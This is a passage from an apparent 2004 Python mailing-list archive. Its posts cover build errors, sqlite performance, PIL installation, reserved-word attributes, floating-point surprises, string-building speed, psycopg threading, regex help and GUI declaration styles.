maintenance and development will continue. While it's always a good mental exercise to (write 'Emacs-extensions (with '(lots of (funny-punctuation)))), there's no beating Python's clarity; and it's so-o-o-o nice to have access to the Python library from Emacs. -- Graham From none at nospam.com Mon Sep 27 20:19:23 2004 From: none at nospam.com (JiggaHertz) Date: Mon, 27 Sep 2004 20:19:23 -0400 Subject: problems buildin python interface to fuse Message-ID: I'm trying to build the python interface to fuse and this is my first time using python. I'm getting the following errors [jh at localhost ~/build/fuse-python]# python setup.py build running build running build_py running build_ext Traceback (most recent call last): File "setup.py", line 16, in ? py_modules=["fuse"], File "/usr/lib/python2.3/distutils/core.py", line 149, in setup dist.run_commands() File "/usr/lib/python2.3/distutils/dist.py", line 907, in run_commands self.run_command(cmd) File "/usr/lib/python2.3/distutils/dist.py", line 927, in run_command cmd_obj.run() File "/usr/lib/python2.3/distutils/command/build.py", line 107, in run self.run_command(cmd_name) File "/usr/lib/python2.3/distutils/cmd.py", line 333, in run_command self.distribution.run_command(command) File "/usr/lib/python2.3/distutils/dist.py", line 927, in run_command cmd_obj.run() File "/usr/lib/python2.3/distutils/command/build_ext.py", line 244, in run customize_compiler(self.compiler) File "/usr/lib/python2.3/distutils/sysconfig.py", line 159, in customize_compiler cpp = cc + " -E" # not always TypeError: unsupported operand type(s) for +: 'NoneType' and 'str' I was originally receiving the following error... [jh at localhost ~/build/fuse-python]# python setup.py build running build running build_py running build_ext error: invalid Python installation: unable to open /usr/lib/python2.3/config/Makefile (No such file or directory) but I solved this by simply copying the included makefile to the python2.3/config directory... Thanks, JiggaHertz From f.geiger at vol.at Wed Sep 1 02:00:06 2004 From: f.geiger at vol.at (F. GEIGER) Date: Wed, 1 Sep 2004 08:00:06 +0200 Subject: Need kinda ringbuffer on filesystem Message-ID: I've a task writing huge amounts of data into a file. I want to display them in my wxPython GUI now. As there are really many data, loading them into mem is not an option. Therefore I'd like to implement something like a ringbuffer but on a file basis: The task writes the data into the file ringbuffer and the GUI (a virtual ListCtrl to be concrete) would read from the file ringbuffer. If the reader is faster than the writer, it doesn't get the data. Well, it's not exactly like a ringbuffer, because the file is allowed to grow as big as it needs to. It is all because reading and writing at the same time doesn't do it (reader and writer move the file pointer of each other). If the ringbuffer idea is not possible to implement, I could think of a class wrapping a file and some kind of locking. A locked file would create temp files if written to it. A reader would simply be locked out. Any other idea? Many thanks in advance Franz GEIGER P.S.: I'm on Windows. From wilkSPAM at OUTflibuste.net Mon Sep 20 07:24:33 2004 From: wilkSPAM at OUTflibuste.net (Wilk) Date: Mon, 20 Sep 2004 13:24:33 +0200 Subject: python is going to die! =( References: <9c991c08040919154150f63d34@mail.gmail.com> Message-ID: <874qltxjwu.fsf@blakie.riol> julio writes: > Abe Mathews wrote: > > >> As for C# "killing" Python? I don't think so. There are still plenty >> of folks programming in Fortran (and heck, some still in COBOL) for >> crying out loud. C is still studied, used, and taught, even though >> C++ was should have supplanted it. Maybe at some point Python will >> stop being a major development language, but that doesn't mean it's >> going to die. > > >> Languages are tools, plain and simple. You appear to have found a >> tool that works better for you in the methods that you prefer to work >> under. That doesn't diminish the usefulness of someone else's >> preferred tool. Just because you like your table saw, that doesn't >> mean that the usefulness of my old handsaw is diminished, it just >> means we have additional options available. Options are a GOOD thing. >> >> Abe Mathews > > If you consider a language used by 5 crazy guys not being dead then > fine. And maybe you can see languages as just interchangeable tools when you > just develop some custom system scripts, but when 90% of the developers > need to consider how many developers you will find to start a proyect, or > how the tools that increase your productivity are ,things looks diferent. > > It is exactly as you said, options are good , and there are no options for a > real python ide other than the wingide guys sells their ide for a > ridiculously 200$ because they have no competition or because no one realy > cares about a real python ide. "no one realy cares about a real python ide". It's this the point... Ask you why no one cares about a what you call a "real python ide". Simply because we don't need, python is so clear, so simple, so efficient that we don't need that a program take our hand to program. Why we don't need a graphical tools to design gui or report ? not because we just write litle script but the opposite. Big application with hundred of ui and hundred of rapports will be a big pain and unmaintainable to do it with mouse ! And finaly if you do litle application you don't really need a complex graphical ide... Graphical ide are good for bad langages that nobody want to learn and remember. For example when i must use msaccess, i'm happy to can click everywhere. But if i need to do something serious with the database i create an odbc link and code in python+emacs. Maybe you don't like or understand python, but you will not like it more with any ide i think. Before C# it was java, it was VB, it was plenty of graphical ide that could "kill python", strangely, python was never so full of live ! -- Wilk - http://flibuste.net From janert at ieee.org Tue Sep 7 01:14:50 2004 From: janert at ieee.org (Philipp K. Janert, Ph.D.) Date: Mon, 6 Sep 2004 22:14:50 -0700 Subject: Slow loading of large in-memory tables Message-ID: <200409062214.50297.janert@ieee.org> Dear All! I am trying to load a relatively large table (about 1 Million rows) into an sqlite table, which is kept in memory. The load process is very slow - on the order of 15 minutes or so. I am accessing sqlite from Python, using the pysqlite driver. I am loading all records first using cx.execute( "insert ..." ). Only once I have run cx.execute() for all records, I commit all the preceding inserts with conn.commit() I have tried using cx.executemany(), but if anything, this makes the process slower. I have not tried mucking manually with transactions. I have sufficiently convinced myself that the slow part is in fact the cx.execute() - not reading the data from file or anything else. My system specs and versions: SuSE 9.1 Python 2.3.3 SQLite 2.8.12 pysqlite 0.5.1 1 GB memory (I am not swapping, this is not the problem). Are there ways to make this process faster? Also, I want to keep the DB in memory, since I use it later to run a very DB-intensive simulation against it. However, this implies that I need to load the DB from the same python program which will later run the simulation - I think. Any hints appreciated! (Please cc me when replying to the list in regards to this message!) Best regards, Ph. From askari at addressNonValide.com Mon Sep 6 13:00:13 2004 From: askari at addressNonValide.com (Askari) Date: Mon, 06 Sep 2004 17:00:13 GMT Subject: PIL - ImageGrab - ImportError: The _imaging C module is not installed Message-ID: Hi, I have this error when I want snashot of my screen with : Traceback (most recent call last): File "C:\Documents and Settings\Assembleur_MAN\Bureau\CasseTete (PyGame).py", line 1121, in ? import ImageGrab File "C:\Python23\Lib\site-packages\PIL\ImageGrab.py", line 29, in ? grabber = Image.core.grabscreen File "C:\Python23\Lib\site-packages\PIL\Image.py", line 39, in __getattr__ raise ImportError("The _imaging C module is not installed") ImportError: The _imaging C module is not installed Where I can find the '_imaging C module'? System : OS : WinXP pro service pack 1 CPU : 2.8Ghz RAM : 1Gig Python : 2.3.4 Module installed : PIL.1.1.4 PyGame.1.6 ReportLab.1.19 From aleaxit at yahoo.com Wed Sep 15 10:57:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 16:57:06 +0200 Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> Message-ID: <1gk5yjn.12y25b4detf0pN%aleaxit@yahoo.com> Steve Holden wrote: ... > > See that I can't set the something.print attribute directly, but can > > set it indirectly. Is this behaviour 'necessary' or just an anomaly of > > the way IDLE detects Syntax Errors ? > > > It's necessary. You will find that keywords (those having a specific > meaning as a language token, such as "def" and "print") can't be used as > attributes. The fact that you can set the attributes by manipulating the > __dict__ directly isn't relevant - you will find you can only access > such attributes indirectly, since any attempt to do so directly will > result in a syntax error no matter how the Python interpreter is invoked. I think that, while you're right for CPython, other Python implementations are allowed to relax this restriction, and Jython does so systematically. Since Jython regularly accesses attributes on Java-implemented classes, I guess that forcing Jython users to jump through hoops to access, say, foo.yield, bar.print, or baz.def, might reduce usability too badly. Possibly make it completely unusable if you had to implement an interface using such a name, too... This kind of thing, however, is also true of CPython whenever it's accessing "outside" objects through attributes; and for .NET implementations I believe that CLR compliant languages are not allowed to forbid certain method names along their interfaces to other components. I'm not sure how CORBA's standard Python bindings address the same problem, how it's met in various interfaces to XML-RPC, COM, SOAP, and other distributed-objects or foreign-objects APIs. Given how pervasive this problem is, I do recall some ruminations about allowing arbitrary identifiers in the specific case in which they fall right after a dot in a compound name. I don't recall that anything ever came of these ruminations, though. Alex From nav+posts at bandersnatch.org Fri Sep 17 13:33:32 2004 From: nav+posts at bandersnatch.org (Nick Vargish) Date: 17 Sep 2004 13:33:32 -0400 Subject: [OT] tabbed command line window? WAS Re: Ranting about the state of Python IDEs for Windows References: Message-ID: jkn_gg at nicorp.f9.co.uk (Jon Nicoll) writes: > does anyone know of a tabbed command line utility for Win32? For OS X there's iTerm, which has a tabbed interface... Time to switch? :^) Nick -- # sigmask || 0.2 || 20030107 || public domain || feed this to a python print reduce(lambda x,y:x+chr(ord(y)-1),' Ojdl!Wbshjti!=obwAcboefstobudi/psh?') From bokr at oz.net Wed Sep 15 18:58:51 2004 From: bokr at oz.net (Bengt Richter) Date: 15 Sep 2004 22:58:51 GMT Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> <6f402501.0409151157.56b8d517@posting.google.com> Message-ID: On Wed, 15 Sep 2004 23:09:22 +0200, "Diez B. Roggisch" wrote: >Michael Foord wrote: >> Right - but although 'print' is a reserved word there is no *need* for >> object.print to be reserved.. and as Alex has pointed out that could >> actually be damned inconvenient.......... > >I tried to explain my views on that before: > >http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&c2coff=1&threadm=cacto9%24ql8%2403%241%40news.t-online.com&rnum=4&prev=/groups%3Fq%3Ddiez%2Broggisch%2Bfoo%26hl%3Den%26lr%3D%26ie%3DUTF-8%26c2coff%3D1%26selm%3Dcacto9%2524ql8%252403%25241%2540news.t-online.com%26rnum%3D4 > >The key issue is, that while > >>>> def foo(): >>>> pass >>>> print foo > > >is ok, > >>>> def print(): pass >fails here, but if not >>>> print print > >can't possibly made working without unclear context-driven hacks. Why? If a print statement were just syntactic sugar for print((outfile,), ... rest, of, line) (normally calling a builtin) then, giving your example args, def print(*args): import sys sys.stdout.write( repr(args)+'\n') print print, 1, 'two', 3 would output (faked ;-) '((), 1, "two", 3)' instead of blowing up, and the _statement_ print(print) would, de-sugared, act like print((), (print)) and thus output '((), )' without the def print(... print print would de-sugar to print((), print) and output and type(print) would not be a print statement, so would return interactively. Etc., etc. > >And if on "normal" function level this can't be allowed, IMHO for the sake >of consistency class methods should also not allow that - because then the >different behaviour causes confusion... Maybe there's a problem with my suggestion, but I don't see it at the moment. Regards, Bengt Richter From tdelaney at avaya.com Tue Sep 7 02:46:32 2004 From: tdelaney at avaya.com (Delaney, Timothy C (Timothy)) Date: Tue, 7 Sep 2004 16:46:32 +1000 Subject: docs on for-loop with no __iter__? Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01EA6117@au3010avexu1.global.avaya.com> Steven Bethard write: > Alex Martelli yahoo.com> writes: >> MRO didn't change for classic classes, thus unmaintaned apps can't be ^^^^^^^ > I may be mistaken, but I thought MRO did change for new classes... I > read in http://www.python.org/2.3/mro.html: Yes - the MRO changed for *new-style* classes - but as you will note, Alex specifically stated that it did not change for *classic* classes (i.e. those that do not inherit from object or a new-style class/type). Tim Delaney From roy at panix.com Sat Sep 18 12:36:22 2004 From: roy at panix.com (Roy Smith) Date: Sat, 18 Sep 2004 12:36:22 -0400 Subject: New Programmer and Python References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> Message-ID: In article <_NidnfFXMMGVyNHcRVn-hg at comcast.com>, "PMD96" wrote: > I'm new to programming and have been recommended to start with Python. Python is an excellent place to start programming. In one sense, it fills much the same niche BASIC did a generation ago; it's very easy for beginners to learn. Python is also available on a wide variety of platforms (Unix, Windows, and Mac) and is easy to install. It is also very portable. There are certainly changes that have happened over the years to the language, but at least there's only a single line of development, so you don't have to worry about different branches heading off in different (incompatible) directions. Python has a shallow learning curve, which means you can learn just a little bit of the language and start building useful programs right away. As you explore more features of the language and libraries, you can do more sophisticated stuff, but you need to know just a small self-contained subset to get going. But, unlike BASIC, Python is a powerful modern language, which is taken seriously by professional programmers who want to get real work done. It supports (but does not require) object oriented programming. It's got good flow control constructs, a rich (but easy to use) assortment of built-in data structures, exceptions, and hands-off memory management. It's also fast enough for a lot of what most people do. Not as fast as C or C++, but comparable with the likes of Perl, Java, and TCL. It has some controversial aspects, to be sure. The one that will be in your face right from the start is the use of indentation for statement grouping. All I can that can be said about that is "deal with it". Some people think it's absolutely brilliant, others think it's the stupidest thing they've ever heard of. But, it is what it is, it's not going to change, nobody in either camp is ever going to be convinced to change their mind, and there is nothing that can be said about it on either side which hasn't already been said 100 times already. The other thing is the use of dynamic data typing. People who come from a C++ or Java backgrounds often find it upsetting that there is no data type checking (nor is there any real notion of private data or methods, in the sense that those languages support). On the other hand, Pythonistas find this freedom from "type bondage" one of the best things about the language. Overall, my recommendation to anybody just getting into programming today would be to learn both Python and Java. They are both modern, popular, useful languages, but based on very different design philosophies. Once you've learned both, you'll be in a much better position to make up your own mind which you like better. > I've reviewed the tutorial and am looking for additional learning > tools to learn programming and Python. Any recommendations? http://diveintopython.org/ From pfortin at pfortin.com Fri Sep 10 00:06:43 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Fri, 10 Sep 2004 00:06:43 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> Message-ID: <20040910000643.18b43e0f@gypsy.pfortin.com> On 10 Sep 2004 00:42:19 GMT Bengt wrote: > >I was hoping to use the likes of: "%(key)*.*f" % map > >however, unlike with the non-(key) formats, there appears to be no way > >to specify a "*.*" size when a map is used... > > > Well, you could subclass str and override its __mod__ method ;-) > If you had class format(str): ..., you could then write > format('%(key)*.*f") % map > and have it do whatever you like. This must be one of those days when my density goes up.... :^/ Can you fill in the blanks on this...? Mismatched quotes aside, I just don't seem to grok how map's key gets in there since there is a ")" between the format string and "%" -- then, I still don't see how "*.*" gets set as it would in: "%*.*f" % (width,max,float) I'll try to finally get a handle on subclassing/overriding with this.... :> Pierre From adim at nospam.com Tue Sep 21 02:46:47 2004 From: adim at nospam.com (Adrien Di Mascio) Date: Tue, 21 Sep 2004 08:46:47 +0200 Subject: Psycopg and threads problem References: Message-ID: Hi, >> I'm using psycopg to insert records in a number of threads. After the >> threads finish, another thread runs to collect the inserted data. Now, >> my problem is that psycopg let's my threads end before the inserts >> actually took place, resulting in my collecting thread finding no >> records... They are inserted after it checks. >> >> Is there a way to tell psycopg or python to wait until the insert took >> place? > > I believe turning autocommit on in the connection would achieve this (at > the expense of performance and transaction support). You could also add > a "commit" SQL statement to each thread. I'm just doing a quick reply here, since I've only skimmed through all posts in this thread, but I think, as you said, that turning autocommit on will solve the problem. Also notice that the autocommit() will be deprecated (if not yet), so you should consider using the "set_isolation_level()" method. Doing something like this should do the trick : cnx = psycopg.conenct('dbname=your_db user=your_user') cnx.set_isolation_level(1) This way, you should be able to access written data from other threads or processes You may find more information here : http://lists.initd.org/pipermail/psycopg/2004-February/002577.html Hope this helps, Cheers, Adrien. -- LOGILAB, Paris (France). http://www.logilab.com http://www.logilab.fr http://www.logilab.org From ajsiegel at optonline.com Fri Sep 3 07:28:30 2004 From: ajsiegel at optonline.com (Arthur) Date: Fri, 03 Sep 2004 11:28:30 GMT Subject: Are decorators really that different from metaclasses... References: Message-ID: "Anthony Baxter" wrote in message news:mailman.2817.1094202552.5135.python-list at python.org... > On Thu, 02 Sep 2004 21:24:42 -0400, Paul Morrow wrote: > > So I believe that --- whether you're a pythonista or not --- assignments > > to magic variables really don't 'look' like normal statements. They > > look like they do something special (because they do). > > You continue to assert this, again and again. Many people have posted > replies (including me) saying that actually, they _do_ look like > normal statements. > > Repeatedly asserting otherwise won't change this. I've become persuaded. So we chnage the assignment operator, rather than focus on the __name__ magic. Why not? We're justing playing/conceptualizing at this point anyway. Art From jmfbahciv at aol.com Thu Sep 2 07:58:35 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 02 Sep 04 11:58:35 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <86mdj05ucclb3tqjqgevum54o7k8jt2msq@4ax.com> Message-ID: <41371db9$0$19723$61fed72c@news.rcn.com> In article , rpw3 at rpw3.org (Rob Warnock) wrote: >Brian Inglis wrote: >+--------------- >| rpw3 at rpw3.org (Rob Warnock) wrote: >| >Which, like PS/8 & OS-8 [and "DECsystem-8" from Geordia Tech] for the >| >PDP-8, modelled the command syntax after that of the venerable PDP-10!! >| > >| >+--------------- >| >| Consider the "PIP" command. >| >+--------------- >| > >| >Indeed. And COPY & DEL & DIR, etc. >| >| But CP/M also derived from IBM VM CP(!) and CMS: >| mount a ... >| attach con/rdr/lst/pun ... >+--------------- > >Those were also PDP-10 Monitor commands, and probably PDP-6 Monitor >before that. Sigh! Fortunately, IBMers and DECcies all spoke English. There were a few words that were spelt differently just to satisfy NIH syndromes. /BAH Subtract a hundred and four for e-mail. From gerrit at nl.linux.org Wed Sep 22 15:39:25 2004 From: gerrit at nl.linux.org (Gerrit) Date: Wed, 22 Sep 2004 21:39:25 +0200 Subject: Python speed-up In-Reply-To: <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> Message-ID: <20040922193925.GA4669@nl.linux.org> Alex Martelli wrote: > Putting together a big string with a loop of 'bigstring+=piece' is > perhaps the best-known performance trap in Python. Python 2.4 has > turned somersaults to lessen the penalty you pay for this, but it's > still pretty slow compared to "accumulate pieces in a list, ''.join the > list when it's done". There's really nothing better than this _in > general_. Why isn't cStringIO faster than concatenating strings? Using python2.4: $ python timeit.py -s 'from cStringIO import StringIO; s=StringIO()' "s.write('foo')" 1000000 loops, best of 3: 0.555 usec per loop $ python timeit.py -s 's=""' "s+='foo'" 1000000 loops, best of 3: 0.383 usec per loop $ python timeit.py -s 'L=[]' "L.append('foo')" 1000000 loops, best of 3: 0.32 usec per loop $ python timeit.py -s 'from StringIO import StringIO; s=StringIO()' "s.write('foo')" 100000 loops, best of 3: 3.19 usec per loop I was about to advise cStringIO as being much faster than concatenating strings, but just before I was about to send the e-mail, I spied with my little eye that the numbers were swapped - concatenating strings is actually *faster* than using cStringIO! What's happening? yours, Gerrit Holl. -- Weather in Twenthe, Netherlands 22/09 20:25: 12.0?C wind 5.4 m/s WSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Fri Sep 10 19:33:23 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Fri, 10 Sep 2004 23:33:23 -0000 Subject: Xah Lee's Unixism References: Message-ID: <10k4ee3jdtsif00@corp.supernews.com> # the 1970s washing machines were the 3340s & 3350s ... but the 3350s # enclosed and not removable/mountable; 3340s .... which had # removable/mountable packs .... included the head assemble & platters # completely enclosed. # # 3340 (winchester) reference, picture includes removable assembly on # top of drives ("3348 data module"): How's it feel to be a like an old war veteran sitting against the wall, blinking in the morning sunlight? I used to lug around disk packs before the first winchesters. Now I have a laptop with one disk drive, higher capacity and faster access than a Cyber 170 disk farm. I remember when we first saw the portapotty winchesters. Before that they had a problem with (?)844 (I think that was the model number). They transferred fast enough that on older machine, by the time periphial processors read a sector, checked it, packaged it, moved it central memory, the next sector was already under the head, requiring a full revolution to read each sector. So they used half tracking to make logical contiguous sectors physically discontiguous. -- SM Ryan http://www.rawbw.com/~wyrmwif/ Title does not dictate behaviour. From jmfbahciv at aol.com Sun Sep 5 05:29:08 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sun, 05 Sep 04 09:29:08 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <87d613mckn.fsf@k9.prep.synonet.com> <4139b0e3$0$19717$61fed72c@news.rcn.com> <87vfeut0at.fsf@k9.prep.synonet.com> Message-ID: <413aef52$0$19706$61fed72c@news.rcn.com> In article , rpw3 at rpw3.org (Rob Warnock) wrote: >Paul Repacholi wrote: >+--------------- >| jmfbahciv at aol.com writes: >| > huh..The why did I have to do TTY:_DT0:/L or LPT:_DT0:/L to get >| > directories? And to print a file on the line printer required the >| > PIP command LPT:_DSK:FOO.FOR >| >| My bad... I claim bit rot of the grey stuff... >| Yes DIR and friends came later, post or part of(?) COMPIL. >+--------------- > >Yes, but... Wasn't COMPIL (at least a simple for of it) introduced >before or sometime during 4S72? We didn't switch from 4.x to 5.x until >5.02d (or so) IIRC, and I *thought* we used COMPIL earlier than that. >[But brain rot gets us all in the end...] There was a program COMPIL but you had to say R COMPIL FOO.REL_FOO.FOR (The typo routine in my head just told me I goofed but I don't see it.) but couldn't say COMPIL FOO.FOR I think (and only John Everett can say for sure) that what we called compile-class commands came with the 5-series monitor. I wasn't working for DEC then and had no idea about development evolutions of code and features. /BAH Subtract a hundred and four for e-mail. From carribeiro at gmail.com Sun Sep 26 10:49:39 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sun, 26 Sep 2004 11:49:39 -0300 Subject: up with PyGUI! In-Reply-To: <86F69852-0FB7-11D9-B926-003065B11E84@leafe.com> References: <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> <86F69852-0FB7-11D9-B926-003065B11E84@leafe.com> Message-ID: <864d370904092607495538afc3@mail.gmail.com> On Sun, 26 Sep 2004 08:28:10 -0400, Ed Leafe wrote: > Forgive me if this is an oversimplification, but it looks like what > you want is an XML-based definition of your UI objects, and are trying > to approximate that with Python syntax. What you've written looks an > awful lot like an XRC file structure, albeit without the closing tags. Here we go -- Sunday morning, coding and discussing... I'm avoiding a data-driven approach (XML) because I think that keeping all declarations in Python will make my code easy to work with in the long run. I've tried some XML based tools, but found the process to be too convoluted -- it needs another set of tools and skills, and it means that I need to be able to read yet another completely different syntax. Also, I'm trying to avoid visual GUI designers at this point -- I realized that I simply lose to much time futzing with pixel alignment details, and that I'm better investing my time doing other stuff. I've read a comment in the Wing IDE website that puts it very well: http://wingware.com/doc/howtos/wxpython """ A Caveat: Because Python lends itself so well to writing data-driven code, you may want to reconsider using a GUI builder for some tasks. In many cases, Python's introspection features make it possible to write generic GUI code that you can use to build user interfaces on the fly based on models of your data and your application. This can be much more efficient than using a GUI builder to craft individual menus and dialogs by hand. In general hand-coded GUIs also tend to be more maintainable. """ (It's interesting to note that although Wing folks talk about "data-drive code", it really applies very well to the declarative approach) But while interesting, all this discussion is just revolving around a few points. I think that we agree on more things than we disagree. We mostly disagree with the (ab)use of Python as a tool to declare complex nested elements. I don't think this is a real problem, and I think that Python can add enough power to the declarations as to make them more flexible than it's possible using XML or other similar data format. It's easy to write small blocks of reusable declarations in Python, and it's easy to mix code and static data on the declarations. This is more difficult with a XML approach. For example: class Username(EditBox): label = _('User name') size = 12 class UserForm(Form): class username(Username): datalink = userfield class password(EditBox): label = _('Password') size = 12 datalink = password password = True In the example above, I'm using two features: 1) It's possible to call functions in the middle of the declaration. In the example, the _() call it's a shorthand convention for gettext() internationalization code. I like the way it's presented in the class declaration. It's visible and easily editable. 2) The Username class is declared outside of the form. In this way it can be used for several form declarations. It's harder to do the same for individual elements of design with XML. Also, the use of inheritance makes it clear that some of the parameters can be individually overriden on each form. As a side note, the fact that many classes are nested makes easier to manage the namespace. It's something that we also get for free with this design. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From bokr at oz.net Thu Sep 9 10:41:36 2004 From: bokr at oz.net (Bengt Richter) Date: 9 Sep 2004 14:41:36 GMT Subject: ghostscript References: Message-ID: On 7 Sep 2004 11:07:44 -0700, cjankowski at hbr-inc.com (Chris Jankowski) wrote: >Hi all, >I am still fairly new to the Python community and world of Python >programming. > > I am having some trouble changing the output directory when I call >Ghostscript. >Any sugguestions would be greatly appreciated. It seems to work fine, >if I put the file in a directory that I am calling it from, like >outputdir = './temp' or I use the "C" drive w/ outputdir = ''. All I >am doing is converting a .pdf to a .tif. > >device = 'jpeg' >print pdffile >pdffile = 'c:/Chris_J_Stuff/chris.pdf' >outputdir = "c:\\Chris_J_Stuff\\" >print pdffile >print outputdir >suffix = 'tif' >os.system(ghost_dir + ' -dNOPAUSE -dQUIET -sBATCH -sDEVICE=%s >-sOUTPUTFILE=% s/page%%d.%s %s' % (device, outputdir,suffix, ^^^^--?? >pdffile)) > > >Thank you in advance. > Suggest replacing 'os.system' with 'print repr' until it looks right. Regards, Bengt Richter From chrisks at NOSPAM.udel.edu Sun Sep 19 03:05:50 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 07:05:50 GMT Subject: Math errors in python In-Reply-To: References: Message-ID: Gary Herron wrote: > On Saturday 18 September 2004 09:50 am, Radioactive Man wrote: > >>In python 2.3 (IDLE 1.0.3) running under windows 95, I get the >>following types of errors whenever I do simple arithmetic: >> >>1st example: >> >>>>>12.10 + 8.30 >> >>20.399999999999999 > > > > It's not a bug, it's a feature of binary arithmetic on ALL coumputers > in ALL languages. (But perhaps Python is the first time it has not > been hidden from you.) > > See the Python FAQ entry 1.4.2: > > http://www.python.org/doc/faq/general.html#why-are-floating-point-calculations-so-inaccurate That's nonsense. My 7-year old TI-83 performs that calculation just fine, and you're telling me, in this day and age, that Python running on a modern 32-bit processor can't even compute simple decimals accurately? Don't defend bad code. From clifford.wells at comcast.net Mon Sep 13 17:56:33 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Mon, 13 Sep 2004 14:56:33 -0700 Subject: open and shut case In-Reply-To: References: <878ybfk3rf.fsf@pobox.com> <87oekb9pmr.fsf@pobox.com> Message-ID: <1095112593.26967.76.camel@devilbox.devilnet.internal> On Mon, 2004-09-13 at 14:30 +0000, Curt wrote: > This inspired me to re-read what you had written in order to > savor the utter degradation of your comment LMAO! -- Cliff Wells From kirk at eyegor.jobsluder.net Thu Sep 9 17:32:56 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Thu, 09 Sep 2004 21:32:56 GMT Subject: Regular Expressions Problem References: <808f000f.0409091048.36488ec5@posting.google.com> Message-ID: On 2004-09-09, Oriana wrote: > .....I would like my code to only have one * space between lines, and > not all that white space that I see there. I tried to use the regular > expression: '^\*\n$^\*\n$' but that does not work. I've tried a bunch > of things and none of them seem to work....please help!!! Thanks in > advance, Oriana Hrm, some suggestions. First, you need to set the MULTILINE mode on the regular expression object. You can do this with re.compile(pattern,re.MULTILINE). Secondly, the "$" character matches just before the newline. So it should be '^\*$\n'. In MULTILINE mode Third, the regex you have here will reduce two blank comment lines to one. Try this: >>> string = """* ... * ... * ... * ... * ... * ... * ... """ >>> foo = re.compile(r'(^\*\s*\n){2,}',re.MULTILINE) >>> foo.sub("*\n",string) '*\n' The blank comment line is described by (^\*\s*\n) (asterisk at the start of a line, followed by 0 or more space characters, then a newline). The {2,} says "match two or more of this group." Also, I can't really overrecommend "Mastering Regular Expressions" as a good book for regular expression users: http://www.oreilly.com/catalog/regex/ There is also a nice python-centric regex page at: http://www.amk.ca/python/howto/regex/ -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From imbosol at aerojockey.com Tue Sep 21 16:07:35 2004 From: imbosol at aerojockey.com (Carl Banks) Date: 21 Sep 2004 13:07:35 -0700 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: <60dfb6f6.0409211207.6099285c@posting.google.com> "Chris S." wrote in message news:<70b3d.1822$uz1.747 at trndny03>... > I just find > it funny how a $20 calculator can be more accurate than Python running > on a $1000 Intel machine. Actually, if you look at Intel's track record, it isn't that surprising. How many Intel Pentium engineers does it take to change a light bulb? Three. One to screw in the bulb, and one to hold the ladder. -- CARL BANKS From mcfletch at rogers.com Thu Sep 2 10:09:41 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Thu, 02 Sep 2004 10:09:41 -0400 Subject: Compiling Extension Modules Under Windows In-Reply-To: <6f402501.0409020340.a307c3@posting.google.com> References: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> <6f402501.0409020340.a307c3@posting.google.com> Message-ID: <413729A5.5060602@rogers.com> Michael Foord wrote: ... >Can someone pelase clarify this for me. >Will having this compiler allow python distutils to automagically >compile extension modules without complaining it needs MSVC7 *and* >without tweaking distutils.... ?? (some hope really !!) > > There's some minor tweaking of distutils required. See the instructions here: http://www.vrplumber.com/programming/mstoolkit/ it's not the most convenient situation in the world, but it's doable for people who are comfortable with a bit of hacking around. As of yet I've had precisely no-one confirm (or deny, or even mention trying and failing, for that matter) that they too have been able to use the process to compile a module, but it seems to work fine with the modules I've tested. Have fun, Mike ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From ialbert at mailblocks.com Fri Sep 3 19:43:50 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 03 Sep 2004 19:43:50 -0400 Subject: How to actually write a program? In-Reply-To: References: Message-ID: Peter Hansen wrote: > I disagree. I do development the same way, after years of > trying out a variety of fancier and fancier GUI IDE RAD > things which in the end primarily served to lock me into > the vendor's tools and didn't really improve my productivity. IMO it all comes down to the way programs are structured. I don't need a RAD anymore because I spend a lot of effort to make the classes and methods generic and simple. I try to do only one thing in any given place. It is very easy to troubleshoot an error caused by a ten line method. (Disclaimer: As nice as this sounds it usually does take a good number of rewrites to achieve this) But I can afford this only because as Arnold would say it: 'I werk alone', I have full control over every aspect of the programs that I need to develop. If substantial parts of a working program need a rewrite for no other reason but to simplify them it is just my call. If that were not true, when one works in a team where different people have different ideas, methodologies and affinity towards a rewrite the productivity gains that come from RAD environments are much more pronounced. Istvan. From mesteve_b at hotmail.com Sun Sep 26 02:26:07 